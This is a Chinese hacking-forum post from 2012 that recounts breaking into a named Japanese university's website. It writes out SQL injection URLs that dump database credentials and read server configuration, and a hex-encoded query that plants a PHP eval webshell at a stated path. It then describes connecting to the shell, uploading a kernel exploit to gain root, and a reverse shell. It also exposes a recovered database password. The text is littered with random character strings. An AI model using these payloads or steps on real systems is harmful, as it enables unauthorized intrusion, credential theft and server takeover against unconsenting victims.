找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2473|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析
/ b  X5 @+ F. _, m
& s# J/ m- O$ M5 ^. Uhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1- t) M& |5 @( E, X+ f: b4 J
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
; E" K6 f+ d1 y+ n, w; M. I2 b: O& a+ r9 p% P
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
1 Q2 ~* w' l& O. `4 X, K( B# a$ ?: B  C- w. ^& Q
- Y" J  h; Y- T+ V: N

7 q% Y5 _6 A: w//@@datadir为数据库文件路径 ! v. A! R7 Z+ n4 l; n

* b. x  J1 [& e6 F7 T6 x5 r- [4 ?
  f+ C9 S/ ?; G8 t  \# P! L8 B1 n//load_file读取网站容器apache的配置文件 & I; `8 [3 ?  C" P
8 l$ ~" k% j- {3 X1 o0 X
) f; l# L8 f: M! P  X- C1 G. T2 P* Y
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 - J2 n* {4 ?; @" `
复制代码
. M# T5 d9 z1 O" @. z" n. l
2 [8 g( b) u8 k( d6 e# B虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
1 {' [+ p) g6 G3 H$ {4 x" q/ y" n) [% |3 d: s. D& A: }
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
( V8 I2 c6 x4 v7 u4 d(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html); e' ?. q8 Q# Y

& _1 Z0 {5 b5 L+ b前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。0 \1 h: c; P. j* a
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html5 s# p+ a0 U$ S0 y

/ E, y; [/ w- M既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
  f) t6 C- h  ]" _! a, Y, a虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
5 d) c6 c  N" o( N5 U" U' E直接写一句话:
7 }6 P2 v- U% T' k3 `$ d* P9 Q
. k0 h& X7 a( Y* L) {+ dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
5 v& a" y$ h. N% W  ?5 ?+ L# r1 A8 M/ `: q1 R

' I1 {( ^3 G; f  G% }) L# g
; w, B: ]! k) `3 I* B//最后的#是为了闭合前面的语句 + {$ ^* [" ?3 H0 m" \

" `! z& e$ k/ R) v  `. e% c( W8 l0 H/ b
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E   m& p; y+ F: E4 Q3 y
9 L( I# S" F/ M  L8 s4 U

  p( T& F$ U* C为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 0 f# S+ S/ i1 f. s; P+ T- a
1 s: x& F* p1 y' p: |9 @) v& q2 V
$ u4 I7 d  O% N
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
1 o6 ?5 b6 F3 _ , G1 z4 k! T3 z
) E5 |: A4 i+ C2 _9 n
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 " S: B! N$ o4 [7 M
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ' Z2 i0 `" l8 {% L
复制代码
3 y) c" D9 a) d3 _8 g+ @0 @
" y5 i2 _, a; u, |4 JHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
, e9 l6 d4 z8 p通过上述注入语句,我们就得到了一句话木马:
, y! ~& i% x4 y$ }
- b9 a. L$ e. @: |0 i5 } % [: k0 x; k( `# P$ A

. K* p% t  |; h
6 d3 r' [  `4 F* l8 p: |- I, }+ @+ \. M% {; L
http://www.doshisha.ac.jp/english/engnews_img/aa.php
3 ^8 I; t2 i% x0 P! |: d* x) m复制代码+ Y7 F$ P  b3 A( ?

) p7 ^$ |4 u; ~) @  _( F' |用菜刀连接,密码是cmd,如图所示:& F" A4 n$ w. F2 D' U& y9 e
然后在命令提示行里看了一下,现在的权限是:+ e' J! s  m" J2 S! s

+ y0 q4 q, S# x" O4 G% {之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。' s8 u8 `/ A  v" u. y
好在赋权给这个文件夹不需要root,直接执行赋权语句:- m! A2 ?4 e* {9 Y/ {( L+ [

1 M2 w# N2 y# r. ]( U  D. P# U # L& X( @, u5 i, F* e

8 |. ~* P2 c3 a+ I% T ' Q; T0 L# _) O7 }0 Z9 X7 D8 M+ E
, [$ n. @) _/ X# M
chmod +x /tmp/ 7 y' z8 A: ?! q4 R/ h+ n! l' {
复制代码. T' h) D# ~  n# ~& p, V

6 T. s- u/ b' }' R+ a  c) p3 E在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行: x! X9 C4 F! w
然后就查了一下内核版本:
1 ]6 R! {1 C, p8 k7 I. K
! u4 x! S: @) x8 w# [
/ [2 K) `& ]  Z6 q% t
+ \0 ^1 `3 f7 p, R1 s8 t% z% z
( q% Q  O- S6 h4 ?8 Q, r& O$ r4 d4 M9 S$ S
uname-a
1 U) v$ J" M: c) Y6 _
/ D! j0 D+ i) Q% a# i7 }! K/ X! t  k# J5 n% L( i
//其实lsb_release -a
5 U& X1 r5 q: n% E; D# A复制代码
1 \6 x) z" k! ^8 \1 O# V8 e& J5 T+ j1 |0 F- J: j! _
如图所示:, x8 d  @' B& J" C+ {, j

- [  [4 O" a, u. Z' k( F- b' |9 e/ H内核版本:linux mainz1 2.6.28-194.e15
- W& F) @; a. l. C/ m( N& n) n$ O& _系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
/ N6 o4 U9 ^( P& Y! X0 U查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
, B9 x+ `4 U: W0 p, L
1 F5 h! s" H2 }" W# V, u, J( g0 V然后给予执行权限
. {- I" d% Y. |7 ?7 _一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样0 ~6 _4 K, m7 q/ c: E* a4 D4 U3 f# D

. K  f( j/ x! K9 N2 c. t8 o
! G: R7 t7 j) r4 M, o. b! F) _3 K( j% m1 r( [+ |& ]

+ `8 d  T/ W5 ^3 t  m& E2 w" \3 [0 d+ s1 w
chmod +x /tmp/2.6.18-194 ; d* ]7 x3 r/ m& w; I5 H" U
复制代码 然后直接执行!~
8 ~' q2 U$ B" ?* o: |  _* s
  o" I. g' @) X+ {总结:
. g. C1 O+ q& C: ]/ A, M# B这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了" \' G( f1 G: f7 t- `. j4 V# Q
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
+ X) d! g0 F  A7 {7 n+ `/ Q# x! E6 }6 O; V4 [% F7 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表